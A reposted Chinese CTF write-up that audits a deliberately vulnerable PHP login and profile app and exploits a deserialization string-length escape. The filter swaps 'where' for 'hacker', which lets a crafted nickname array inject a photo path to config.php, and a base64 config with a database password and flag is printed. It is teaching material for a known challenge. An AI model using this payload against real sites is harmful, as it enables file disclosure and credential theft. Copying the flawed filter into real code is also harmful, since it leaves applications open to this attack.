扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
这篇文章主要介绍php反序列化长度变化尾部字符串逃逸的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
网站设计制作、成都做网站服务团队是一支充满着热情的团队,执着、敏锐、追求更好,是创新互联的标准与要求,同时竭诚为客户提供服务是我们的理念。成都创新互联把每个网站当做一个产品来开发,精雕细琢,追求一名工匠心中的细致,我们更用心!一个很可爱的登录界面:
进行一下目录扫描,发现源码泄露www.zip,把源码给出:
index.php
16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?>Login
在输入账号密码之后进入了profile.php,下面是profile.php的源码:
show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>Profile " class="img-memeda " >Hi
还有注册页面的源码(没有太大用),register.php:
16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!Please Login'; } else { die('User name Already Exists'); } } else { ?>Login
然后是update.php:
10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; } else { ?>UPDATE
核心的处理代码,class.php:
table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
最后是config.php:
看来flag就是在config.php中了,要想办法拿到config.php的内容了。
然后就是代码审计了。
seay代码审计系统也可以给点线索的:
这个地方貌似有个文件读取的地方,在profile.php中:
else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} print_r(unserialize($profile));
结果如下:
Array ( [phone] => 12345678901 [email] => ss@q.com [nickname] => sea_sand [photo] => config.php )
可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。
在设置了$profile之后,用update_profile()函数进行处理:
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
进行了过滤:
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); 数组即可绕过: nickname[]= 那么$profile就是这样了: $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:
然后进入到profile中查看图片信息,把base64码解码:
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解码得到:
以上是“php反序列化长度变化尾部字符串逃逸的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注创新互联行业资讯频道!
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流